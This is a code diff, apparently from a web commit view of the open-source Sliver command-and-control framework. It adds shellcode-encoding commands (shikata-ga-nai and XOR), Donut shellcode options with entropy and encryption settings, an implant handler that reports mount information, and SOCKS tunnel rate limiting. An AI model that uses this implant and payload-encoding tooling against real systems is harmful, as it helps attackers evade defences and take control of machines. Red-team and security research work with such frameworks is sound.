f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
flags.BindFlagCompletions(shellcodeEncodersEncodeCmd, func(comp *carapace.ActionMap) {
(*comp)["encoder"] = ShellcodeEncoderNameCompleter(con)
(*comp)["arch"] = ShellcodeEncoderArchCompleter(con)
(*comp)["output"] = carapace.ActionFiles().Tag("output file/directory")
})
carapace.Gen(shellcodeEncodersEncodeCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file"))
shellcodeEncodersCmd.AddCommand(shellcodeEncodersEncodeCmd)
return []*cobra.Command{shellcodeEncodersCmd}
}
+166
View File
@@ -0,0 +1,166 @@
package shellcodeencoders
import (
"encoding/hex"
"fmt"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
)
// ShellcodeEncodersEncodeCmd - Encode shellcode files with server encoders.
func ShellcodeEncodersEncodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
encoderFlag, _ := cmd.Flags().GetString("encoder")
if strings.TrimSpace(encoderFlag) == "" {
con.PrintErrorf("Encoder is required (use --encoder). See %s for options.\n", consts.ShellcodeEncodersStr)
return
}
encoderName := normalizeShellcodeEncoderName(encoderFlag)
encoderEnum, ok := shellcodeEncoderEnum(encoderName)
if !ok {
con.PrintErrorf("Unknown encoder %q (see %s for supported encoders)\n", encoderFlag, consts.ShellcodeEncodersStr)
return
}
archFlag, _ := cmd.Flags().GetString("arch")
arch := normalizeShellcodeArch(archFlag)
if arch == "" {
arch = "amd64"
}
iterations, _ := cmd.Flags().GetInt("iterations")
if iterations <= 0 {
iterations = 1
}
badCharsRaw, _ := cmd.Flags().GetString("bad-chars")
badChars, err := decodeHexBytes("bad-chars", badCharsRaw)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
output, _ := cmd.Flags().GetString("output")
outputInfo, err := outputInfoForArgs(output, len(args))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
grpcCtx, cancel := con.GrpcContext(cmd)
defer cancel()
hadError := false
for _, path := range args {
data, err := os.ReadFile(path)
if err != nil {
con.PrintErrorf("Failed to read %s: %s\n", path, err)
hadError = true
continue
}
resp, err := con.Rpc.ShellcodeEncoder(grpcCtx, &clientpb.ShellcodeEncodeReq{
Encoder: encoderEnum,
Architecture: arch,
Iterations: uint32(iterations),
BadChars: badChars,
Data: data,
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("Failed to encode %s: %s\n", path, err)
hadError = true
continue
}
if resp.GetResponse() != nil && resp.GetResponse().GetErr() != "" {
con.PrintErrorf("Failed to encode %s: %s\n", path, resp.GetResponse().GetErr())
hadError = true
continue
}
outputPath, err := resolveOutputPath(path, output, outputInfo, encoderName, len(args) > 1)
if err != nil {
con.PrintErrorf("Failed to write %s: %s\n", path, err)
hadError = true
continue
}
if err := os.WriteFile(outputPath, resp.Data, 0o644); err != nil {
con.PrintErrorf("Failed to write %s: %s\n", outputPath, err)
hadError = true
continue
}
con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputPath, len(resp.Data))
}
if hadError {
con.PrintWarnf("One or more files failed to encode\n")
}
}
func decodeHexBytes(label string, raw string) ([]byte, error) {
trimmed := strings.TrimSpace(raw)
trimmed = strings.TrimPrefix(trimmed, "0x")
trimmed = strings.TrimPrefix(trimmed, "0X")
trimmed = strings.ReplaceAll(trimmed, " ", "")
if trimmed == "" {
return nil, nil
}
data, err := hex.DecodeString(trimmed)
if err != nil {
return nil, fmt.Errorf("%s must be hex encoded: %w", label, err)
}
return data, nil
}
func outputInfoForArgs(output string, argCount int) (os.FileInfo, error) {
if output == "" {
return nil, nil
}
info, err := os.Stat(output)
if err != nil {
if os.IsNotExist(err) {
if argCount > 1 {
if mkErr := os.MkdirAll(output, 0o755); mkErr != nil {
return nil, fmt.Errorf("failed to create output directory %s: %w", output, mkErr)
}
info, err = os.Stat(output)
if err != nil {
return nil, fmt.Errorf("failed to stat output directory %s: %w", output, err)
}
return info, nil
}
return nil, nil
}
return nil, err
}
if argCount > 1 && !info.IsDir() {
return nil, fmt.Errorf("output must be a directory when encoding multiple files")
}
return info, nil
}
func resolveOutputPath(inputPath string, output string, outputInfo os.FileInfo, encoderName string, multiple bool) (string, error) {
suffix := "." + strings.ReplaceAll(encoderName, "_", "-")
base := filepath.Base(inputPath)
if output == "" {
return filepath.Join(filepath.Dir(inputPath), base+suffix), nil
}
if multiple {
if outputInfo == nil || !outputInfo.IsDir() {
return "", fmt.Errorf("output must be a directory when encoding multiple files")
}
return filepath.Join(output, base+suffix), nil
}
if outputInfo != nil && outputInfo.IsDir() {
return filepath.Join(output, base+suffix), nil
}
return output, nil
}
@@ -0,0 +1,101 @@
package shellcodeencoders
import (
"fmt"
"sort"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/rsteube/carapace"
)
var shellcodeEncoderNameToEnum = map[string]clientpb.ShellcodeEncoder{
"shikata_ga_nai": clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
"xor": clientpb.ShellcodeEncoder_XOR,
"xor_dynamic": clientpb.ShellcodeEncoder_XOR_DYNAMIC,
}
func normalizeShellcodeEncoderName(name string) string {
normalized := strings.ToLower(strings.TrimSpace(name))
normalized = strings.ReplaceAll(normalized, "-", "_")
return normalized
}
func normalizeShellcodeArch(arch string) string {
normalized := strings.ToLower(strings.TrimSpace(arch))
switch normalized {
case "amd64", "x64", "x86_64":
return "amd64"
case "386", "x86", "i386":
return "386"
default:
return normalized
}
}
func shellcodeEncoderEnum(name string) (clientpb.ShellcodeEncoder, bool) {
normalized := normalizeShellcodeEncoderName(name)
encoder, ok := shellcodeEncoderNameToEnum[normalized]
return encoder, ok
}
func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
}
// ShellcodeEncoderNameCompleter returns available encoder names with supported arches.
func ShellcodeEncoderNameCompleter(con *console.SliverClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return carapace.ActionMessage("failed to fetch shellcode encoders: %s", err.Error())
}
nameArchs := map[string][]string{}
for arch, archMap := range encoderMap.GetEncoders() {
if archMap == nil {
continue
}
for name := range archMap.GetEncoders() {
nameArchs[name] = append(nameArchs[name], arch)
}
}
names := make([]string, 0, len(nameArchs))
for name := range nameArchs {
names = append(names, name)
}
sort.Strings(names)
results := []string{}
for _, name := range names {
arches := nameArchs[name]
sort.Strings(arches)
desc := fmt.Sprintf("(%s)", strings.Join(arches, ", "))
results = append(results, name, desc)
}
return carapace.ActionValuesDescribed(results...).Tag("shellcode encoders")
})
}
// ShellcodeEncoderArchCompleter returns available architectures.
func ShellcodeEncoderArchCompleter(con *console.SliverClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return carapace.ActionMessage("failed to fetch shellcode encoders: %s", err.Error())
}
arches := make([]string, 0, len(encoderMap.GetEncoders()))
for arch := range encoderMap.GetEncoders() {
arches = append(arches, arch)
}
sort.Strings(arches)
return carapace.ActionValues(arches...).Tag("shellcode architectures")
})
}
@@ -0,0 +1,65 @@
package shellcodeencoders
import (
"sort"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
)
// ShellcodeEncodersCmd - Display supported shellcode encoders and architectures.
func ShellcodeEncodersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
grpcCtx, cancel := con.GrpcContext(cmd)
defer cancel()
encoderMap, err := con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s", err)
return
}
DisplayShellcodeEncoders(encoderMap, con)
}
// DisplayShellcodeEncoders - Display shellcode encoder map from server.
func DisplayShellcodeEncoders(encoderMap *clientpb.ShellcodeEncoderMap, con *console.SliverClient) {
if encoderMap == nil || len(encoderMap.GetEncoders()) == 0 {
con.PrintInfof("No shellcode encoders available\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{"Arch", "Encoder", "Description"})
tw.SortBy([]table.SortBy{
{Name: "Arch", Mode: table.Asc},
{Name: "Encoder", Mode: table.Asc},
})
arches := make([]string, 0, len(encoderMap.GetEncoders()))
for arch := range encoderMap.GetEncoders() {
arches = append(arches, arch)
}
sort.Strings(arches)
for _, arch := range arches {
archMap := encoderMap.GetEncoders()[arch]
if archMap == nil {
continue
}
names := make([]string, 0, len(archMap.GetEncoders()))
for name := range archMap.GetEncoders() {
names = append(names, name)
}
sort.Strings(names)
for _, name := range names {
desc := archMap.GetDescriptions()[name]
tw.AppendRow(table.Row{arch, name, desc})
}
}
con.Println(tw.Render())
}
+9 -1
View File
@@ -27,6 +27,7 @@ import (
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/cursed"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/edit"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
"github.com/bishopfox/sliver/client/command/extensions"
@@ -48,6 +49,7 @@ import (
"github.com/bishopfox/sliver/client/command/tasks"
"github.com/bishopfox/sliver/client/command/wasm"
"github.com/bishopfox/sliver/client/command/wireguard"
"github.com/bishopfox/sliver/client/command/hexedit"
client "github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/reeflective/console"
@@ -63,6 +65,10 @@ func SliverCommands(con *client.SliverClient) console.Commands {
HiddenDefaultCmd: true,
},
}
if !con.IsCLI {
sliver.SilenceErrors = true
sliver.SilenceUsage = true
}
// Utility function to be used for binding new commands to
// the sliver menu: call the function with the name of the
@@ -79,7 +85,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
// use.Commands,
tasks.Commands,
pivots.Commands,
aka.ImplantCommands,
aka.ImplantCommands,
)
// [ Info ]
@@ -94,6 +100,8 @@ func SliverCommands(con *client.SliverClient) console.Commands {
// [ Filesystem ]
bind(consts.FilesystemHelpGroup,
edit.Commands,
hexedit.Commands,
filesystem.Commands,
)
+4 -1
View File
@@ -220,6 +220,8 @@ const (
CdStr = "cd"
PwdStr = "pwd"
CatStr = "cat"
EditStr = "edit"
HexEditStr = "hex-edit"
DownloadStr = "download"
HeadStr = "head"
TailStr = "tail"
@@ -297,7 +299,8 @@ const (
GetPrivsStr = "getprivs"
ConnectStr = "connect"
ShikataGaNai = "shikata-ga-nai"
ShikataGaNai = "shikata-ga-nai"
ShellcodeEncodersStr = "shellcode-encoders"
Cursed = "cursed"
CursedChrome = "chrome"
+8
View File
@@ -31,6 +31,7 @@ import (
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/leaky"
"golang.org/x/time/rate"
)
var (
@@ -210,6 +211,8 @@ const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096)
var leakyBuf = leaky.NewLeakyBuf(2048, leakyBufSize)
func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliverpb.SocksData) {
// Client Rate Limiter: 10 operations per second, burst of 1
limiter := rate.NewLimiter(rate.Limit(10), 1)
SocksConnPool.Store(frame.TunnelID, conn)
@@ -241,6 +244,11 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
return
}
if n > 0 {
if err := limiter.Wait(context.Background()); err != nil {
log.Printf("[socks] rate limiter error: %s", err)
return
}
frame.Data = buff[:n]
frame.Sequence = ToImplantSequence
log.Printf("[socks] (User to Client) to Server to agent Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
@@ -39,7 +39,7 @@
- [Viber](/docs?name=Notifications#viber)
- [Web Push](/docs?name=Notifications#web-push)
- [WeChat](/docs?name=Notifications#wechat)
- [WhatsApp](/docs?name=Notifications#whatsapp)
- [WhatsApp](/docs?name=Notifications#whatsapp)
- [Custom Templates](/docs?name=Notifications#custom-templates)
- [Notes](/docs?name=Notifications#notes)
+17
View File
@@ -33,6 +33,23 @@ Name Platform Command & Control Debug Format
win-shellcode windows/amd64 [1] mtls://192.168.122.1:8888 false SHELLCODE enabled
```
You can tune Donut options for Windows shellcode profiles:
- `--donut-entropy`: 1=none, 2=random names, 3=random+encrypt
- `--donut-compress`: enable/disable aplib compression (boolean)
- `--donut-exitopt`: 1=exit thread, 2=exit process, 3=block
- `--donut-bypass`: 1=none, 2=abort on failure, 3=continue
- `--donut-headers`: 1=overwrite, 2=keep
- `--donut-thread`: run unmanaged EXE entrypoint as a new thread (boolean)
- `--donut-unicode`: pass Unicode command line to unmanaged DLL entrypoints (boolean)
- `--donut-oep`: override original entry point (uint32, 0=default)
Example:
```
sliver > profiles new --mtls 192.168.122.1 --format shellcode --donut-entropy 2 --donut-compress --donut-exitopt 3 win-shellcode
```
We can now create a staging listener and link it to the profile:
```
+2 -2
View File
@@ -146,8 +146,8 @@ else
exit 1
fi
# server / sgn
if go test -tags=server,$TAGS ./server/sgn ; then
# server / encoders / shellcode / sgn
if go test -tags=server,$TAGS ./server/encoders/shellcode/sgn ; then
:
else
cat ~/.sliver/logs/sliver.log
+6 -5
View File
@@ -1,6 +1,6 @@
module github.com/bishopfox/sliver
go 1.25.5
go 1.25.6
replace github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.46.3-0.20231214181515-27e49f3c3b69
@@ -12,11 +12,11 @@ require (
filippo.io/age v1.3.1
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
github.com/Ne0nd0g/go-clr v1.0.3
github.com/SherClockHolmes/webpush-go v1.4.0
github.com/alecthomas/chroma v0.10.0
github.com/alecthomas/chroma/v2 v2.23.1
github.com/charmbracelet/huh v0.8.0
github.com/charmbracelet/huh/spinner v0.0.0-20251215014908-6f7d32faaff3
github.com/charmbracelet/lipgloss v1.1.0
@@ -46,6 +46,7 @@ require (
github.com/reeflective/readline v1.1.4
github.com/rsteube/carapace v0.50.2
github.com/sirupsen/logrus v1.9.3
github.com/sliverarmory/wasm-donut v0.0.3
github.com/spf13/cobra v1.10.2
github.com/spf13/pflag v1.0.10
github.com/stretchr/testify v1.11.1
@@ -219,9 +220,9 @@ require (
github.com/carapace-sh/carapace-shlex v1.1.1 // indirect
github.com/catppuccin/go v0.3.0 // indirect
github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7 // indirect
github.com/charmbracelet/bubbletea v1.3.10 // indirect
github.com/charmbracelet/bubbletea v1.3.10
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc // indirect
github.com/charmbracelet/x/ansi v0.10.1 // indirect
github.com/charmbracelet/x/ansi v0.10.1
github.com/charmbracelet/x/cellbuf v0.0.13 // indirect
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 // indirect
github.com/charmbracelet/x/term v0.2.1 // indirect
@@ -300,7 +301,7 @@ require (
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
golang.org/x/oauth2 v0.34.0 // indirect
golang.org/x/sync v0.19.0 // indirect
golang.org/x/time v0.14.0 // indirect
golang.org/x/time v0.14.0
golang.org/x/tools v0.40.0 // indirect
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
golang.zx2c4.com/wireguard/windows v0.5.3 // indirect
+12 -3
View File
@@ -43,8 +43,6 @@ github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qd
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw=
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e h1:ytVmxGQuS7ELO/WpvH6iuY1hVcJ6iOTw3VLOOIFlo8o=
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0 h1:1sdnMvqxxlMXsu8ku/Xrh6gi3V40ykksst5fd0lfWnc=
@@ -84,8 +82,14 @@ github.com/VividCortex/ewma v1.2.0/go.mod h1:nz4BbCtbLyFDeC9SUHbtcT5644juEuWfUAU
github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
github.com/akutz/memconn v0.1.0 h1:NawI0TORU4hcOMsMr11g7vwlCdkYeLKXBcxWu2W/P8A=
github.com/akutz/memconn v0.1.0/go.mod h1:Jo8rI7m0NieZyLI5e2CDlRdRqRRB4S7Xp77ukDjH+Fw=
github.com/alecthomas/assert/v2 v2.11.0 h1:2Q9r3ki8+JYXvGsDyBXwH3LcJ+WK5D0gc5E8vS6K3D0=
github.com/alecthomas/assert/v2 v2.11.0/go.mod h1:Bze95FyfUr7x34QZrjL+XP+0qgp/zg8yS+TtBj1WA3k=
github.com/alecthomas/chroma v0.10.0 h1:7XDcGkCQopCNKjZHfYrNLraA+M7e0fMiJ/Mfikbfjek=
github.com/alecthomas/chroma v0.10.0/go.mod h1:jtJATyUxlIORhUOFNA9NZDWGAQ8wpxQQqNSB4rjA/1s=
github.com/alecthomas/chroma/v2 v2.23.1 h1:nv2AVZdTyClGbVQkIzlDm/rnhk1E9bU9nXwmZ/Vk/iY=
github.com/alecthomas/chroma/v2 v2.23.1/go.mod h1:NqVhfBR0lte5Ouh3DcthuUCTUpDC9cxBOfyMbMQPs3o=
github.com/alecthomas/repr v0.5.2 h1:SU73FTI9D1P5UNtvseffFSGmdNci/O6RsqzeXJtP0Qs=
github.com/alecthomas/repr v0.5.2/go.mod h1:Fr0507jx4eOXV7AlPV6AVZLYrLIuIeSOWtW57eE/O/4=
github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e h1:4dAU9FXIyQktpoUAgOJK3OTFc/xug0PCXYCqU0FgDKI=
github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
github.com/alicebob/gopher-json v0.0.0-20200520072559-a9ecdc9d1d3a h1:HbKu58rmZpUGpz5+4FfNmIU+FmZg2P3Xaj2v2bfNWmk=
@@ -397,7 +401,6 @@ github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e/go.mod h1:boTsfXsheKC
github.com/google/s2a-go v0.1.9 h1:LGD7gtMgezd8a/Xak7mEWL0PjoTQFvpRudN895yqKW0=
github.com/google/s2a-go v0.1.9/go.mod h1:YA0Ei2ZQL3acow2O62kdp9UlnvMmU7kA6Eutn0dXayM=
github.com/google/uuid v0.0.0-20171113160352-8c31c18f31ed/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/googleapis/enterprise-certificate-proxy v0.3.7 h1:zrn2Ee/nWmHulBx5sAVrGgAa0f2/R35S4DJwfFaUPFQ=
@@ -422,6 +425,8 @@ github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/C
github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hdevalence/ed25519consensus v0.2.0 h1:37ICyZqdyj0lAZ8P4D1d1id3HqbbG1N3iBb1Tb4rdcU=
github.com/hdevalence/ed25519consensus v0.2.0/go.mod h1:w3BHWjwJbFU29IRHL1Iqkw3sus+7FctEyM4RqDxYNzo=
github.com/hexops/gotextdiff v1.0.3 h1:gitA9+qJrrTCsiCl7+kh75nPqQt1cx4ZkudSTLoUqJM=
github.com/hexops/gotextdiff v1.0.3/go.mod h1:pSWU5MAI3yDq+fZBTazCSJysOMbxWL1BSow5/V2vxeg=
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
github.com/illarion/gonotify/v3 v3.0.2 h1:O7S6vcopHexutmpObkeWsnzMJt/r1hONIEogeVNmJMk=
@@ -656,6 +661,10 @@ github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ
github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/slack-go/slack v0.17.3 h1:zV5qO3Q+WJAQ/XwbGfNFrRMaJ5T/naqaonyPV/1TP4g=
github.com/slack-go/slack v0.17.3/go.mod h1:X+UqOufi3LYQHDnMG1vxf0J8asC6+WllXrVrhl8/Prk=
github.com/sliverarmory/wasm-donut v0.0.2 h1:XAiV5MxDhSqnq4J45dZEM4u9JIN5aI1enhqNjiFGdtM=
github.com/sliverarmory/wasm-donut v0.0.2/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
github.com/sony/sonyflake v1.0.0/go.mod h1:Jv3cfhf/UFtolOTTRd3q4Nl6ENqM+KfyZ5PseKfZGF4=
github.com/spf13/cast v1.4.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
@@ -25,6 +25,7 @@ import (
"syscall"
"github.com/bishopfox/sliver/implant/sliver/extension"
"github.com/bishopfox/sliver/implant/sliver/mount"
"github.com/bishopfox/sliver/protobuf/commonpb"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
@@ -56,6 +57,7 @@ var (
pb.MsgNetstatReq: netstatHandler,
pb.MsgSideloadReq: sideloadHandler,
pb.MsgMountReq: mountHandler,
pb.MsgReconfigureReq: reconfigureHandler,
pb.MsgSSHCommandReq: runSSHCommandHandler,
@@ -154,6 +156,27 @@ func listExtensionsHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func mountHandler(data []byte, resp RPCResponse) {
mountReq := &pb.MountReq{}
err := proto.Unmarshal(data, mountReq)
if err != nil {
return
}
mountData, err := mount.GetMountInformation()
mountResp := &pb.Mount{
Info: mountData,
Response: &commonpb.Response{},
}
if err != nil {
mountResp.Response.Err = err.Error()
}
data, err = proto.Marshal(mountResp)
resp(data, err)
}
func getUid(fileInfo os.FileInfo) string {
uid := int32(fileInfo.Sys().(*syscall.Stat_t).Uid)
uid_str := strconv.FormatUint(uint64(uid), 10)
@@ -36,16 +36,29 @@ import (
"google.golang.org/protobuf/proto"
)
const (
inactivityCheckInterval = 4 * time.Second
inactivityTimeout = 15 * time.Second
)
type socksTunnelPool struct {
tunnels *sync.Map // map[uint64]chan []byte
tunnels *sync.Map // map[uint64]chan []byte
lastActivity *sync.Map // map[uint64]time.Time
}
var socksTunnels = socksTunnelPool{
tunnels: &sync.Map{},
tunnels: &sync.Map{},
lastActivity: &sync.Map{},
}
var socksServer *socks5.Server
// Initialize socks server
func init() {
socksServer = socks5.NewServer()
socksTunnels.startCleanupMonitor()
}
func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
socksData := &sliverpb.SocksData{}
err := proto.Unmarshal(envelope.Data, socksData)
@@ -55,9 +68,26 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
// {{end}}
return
}
time.Sleep(10 * time.Millisecond) // Necessary delay
// Check early to see if this is a close request from server
if socksData.CloseConn {
if tunnel, ok := socksTunnels.tunnels.LoadAndDelete(socksData.TunnelID); ok {
if ch, ok := tunnel.(chan []byte); ok {
close(ch)
}
}
socksTunnels.lastActivity.Delete(socksData.TunnelID)
return
}
if socksData.Data == nil {
return
}
// Record activity as soon as we get data for this tunnel
socksTunnels.recordActivity(socksData.TunnelID)
// {{if .Config.Debug}}
log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
// {{end}}
@@ -70,8 +100,6 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
socksServer = socks5.NewServer(
socks5.WithAuthMethods([]socks5.Authenticator{auth}),
)
} else {
socksServer = socks5.NewServer()
}
// {{if .Config.Debug}}
@@ -80,7 +108,7 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
// init tunnel
if tunnel, ok := socksTunnels.tunnels.Load(socksData.TunnelID); !ok {
tunnelChan := make(chan []byte, 10)
tunnelChan := make(chan []byte, 100) // Buffered channel for 100 messages
socksTunnels.tunnels.Store(socksData.TunnelID, tunnelChan)
tunnelChan <- socksData.Data
err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
@@ -88,9 +116,12 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
// {{if .Config.Debug}}
log.Printf("[socks] Failed to serve connection: %v", err)
// {{end}}
// Cleanup on serve failure
socksTunnels.tunnels.Delete(socksData.TunnelID)
return
}
} else {
// Will block when channel is full
tunnel.(chan []byte) <- socksData.Data
}
}
@@ -105,16 +136,22 @@ type socks struct {
}
func (s *socks) Read(b []byte) (n int, err error) {
time.Sleep(10 * time.Millisecond) // Necessary delay
channel, ok := socksTunnels.tunnels.Load(s.stream.TunnelID)
if !ok {
return 0, errors.New("[socks] invalid tunnel id")
}
socksTunnels.recordActivity(s.stream.TunnelID)
data := <-channel.(chan []byte)
return copy(b, data), nil
}
func (s *socks) Write(b []byte) (n int, err error) {
time.Sleep(10 * time.Millisecond) // Necessary delay
socksTunnels.recordActivity(s.stream.TunnelID)
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
Data: b,
@@ -136,12 +173,15 @@ func (s *socks) Write(b []byte) (n int, err error) {
}
func (s *socks) Close() error {
time.Sleep(10 * time.Millisecond) // Necessary delay
channel, ok := socksTunnels.tunnels.LoadAndDelete(s.stream.TunnelID)
if !ok {
return errors.New("[socks] can't close unknown channel")
}
close(channel.(chan []byte))
// Signal to server that we need to close this tunnel
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
CloseConn: true,
@@ -181,3 +221,38 @@ func (c *socks) SetReadDeadline(t time.Time) error {
func (c *socks) SetWriteDeadline(t time.Time) error {
return nil
}
func (s *socksTunnelPool) recordActivity(tunnelID uint64) {
s.lastActivity.Store(tunnelID, time.Now())
}
// Periodically check for inactive tunnels and clean up
func (s *socksTunnelPool) startCleanupMonitor() {
go func() {
ticker := time.NewTicker(inactivityCheckInterval)
defer ticker.Stop()
for range ticker.C {
s.tunnels.Range(func(key, value interface{}) bool {
tunnelID := key.(uint64)
lastActivityI, exists := s.lastActivity.Load(tunnelID)
if !exists {
// If no activity record exists, create one
s.recordActivity(tunnelID)
return true
}
lastActivity := lastActivityI.(time.Time)
if time.Since(lastActivity) > inactivityTimeout {
// Clean up the inactive tunnel
if ch, ok := value.(chan []byte); ok {
close(ch)
}
s.tunnels.Delete(tunnelID)
s.lastActivity.Delete(tunnelID)
}
return true
})
}
}()
}
+166
View File
@@ -0,0 +1,166 @@
//go:build darwin
package mount
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
